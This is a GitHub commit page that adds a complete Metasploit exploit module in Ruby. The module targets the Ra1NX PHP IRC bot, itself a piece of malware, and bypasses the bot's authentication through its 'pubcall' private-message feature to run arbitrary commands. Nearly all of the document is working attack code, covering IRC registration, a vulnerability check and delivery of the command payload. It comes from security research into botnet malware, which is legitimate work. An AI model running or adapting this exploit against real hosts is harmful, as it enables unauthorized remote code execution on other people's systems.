Skip to content

Commit ca6ab7c

Browse files
author
bwall
committed
Added Ra1NX pubcall authentication bypass exploit module
1 parent 49ac3ac commit ca6ab7c

File tree

1 file changed

+140
-0
lines changed

1 file changed

+140
-0
lines changed
Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,140 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Exploit::Remote
4+
5+
include Msf::Exploit::Remote::Tcp
6+
7+
def initialize(info = {})
8+
super(update_info(info,
9+
'Name' => '"Ra1NX" PHP Bot pubcall Authentication Bypass Remote Code Execution',
10+
'Description' => %q{
11+
This module allows remote command execution on the PHP IRC bot Ra1NX by
12+
using the public call feature in private message to covertly bypass the
13+
authentication system.
14+
},
15+
'Author' =>
16+
[
17+
'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module
18+
],
19+
'License' => MSF_LICENSE,
20+
'References' =>
21+
[
22+
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
23+
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
24+
['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
25+
],
26+
'Platform' => [ 'unix', 'win'],
27+
'Arch' => ARCH_CMD,
28+
'Payload' =>
29+
{
30+
'Space' => 344,
31+
'BadChars' => '',
32+
'DisableNops' => true,
33+
'Compat' =>
34+
{
35+
'PayloadType' => 'cmd',
36+
}
37+
},
38+
'Targets' =>
39+
[
40+
[ 'Ra1NX', { } ]
41+
],
42+
'Privileged' => false,
43+
'DisclosureDate' => 'March 24 2013',
44+
'DefaultTarget' => 0))
45+
46+
register_options(
47+
[
48+
Opt::RPORT(6667),
49+
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
50+
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
51+
OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),
52+
OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])
53+
], self.class)
54+
end
55+
56+
def check
57+
connect
58+
59+
response = register(sock)
60+
if response =~ /463/ or response =~ /464/
61+
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
62+
return Exploit::CheckCode::Unknown
63+
end
64+
confirm_string = rand_text_alpha(8)
65+
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
66+
print response
67+
quit(sock)
68+
disconnect
69+
70+
if response =~ /#{confirm_string}/
71+
return Exploit::CheckCode::Vulnerable
72+
else
73+
return Exploit::CheckCode::Safe
74+
end
75+
end
76+
77+
def send_msg(sock, data)
78+
sock.put(data)
79+
data = ""
80+
begin
81+
read_data = sock.get_once(-1, 1)
82+
while not read_data.nil?
83+
data << read_data
84+
read_data = sock.get_once(-1, 1)
85+
end
86+
rescue EOFError
87+
end
88+
data
89+
end
90+
91+
def register(sock)
92+
msg = ""
93+
94+
if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
95+
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
96+
end
97+
98+
if datastore['NICK'].length > 9
99+
nick = rand_text_alpha(9)
100+
print_error("The nick is longer than 9 characters, using #{nick}")
101+
else
102+
nick = datastore['NICK']
103+
end
104+
105+
msg << "NICK #{nick}\r\n"
106+
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
107+
108+
response = send_msg(sock,msg)
109+
return response
110+
end
111+
112+
def ra1nx_command(sock)
113+
encoded = payload.encoded
114+
command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"
115+
response = send_msg(sock, command_msg)
116+
return response
117+
end
118+
119+
def quit(sock)
120+
quit_msg = "QUIT :bye bye\r\n"
121+
sock.put(quit_msg)
122+
end
123+
124+
def exploit
125+
connect
126+
127+
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
128+
response = register(sock)
129+
if response =~ /463/ or response =~ /464/
130+
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
131+
return
132+
end
133+
134+
print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")
135+
ra1nx_command(sock)
136+
137+
quit(sock)
138+
disconnect
139+
end
140+
end

0 commit comments

Comments
 (0)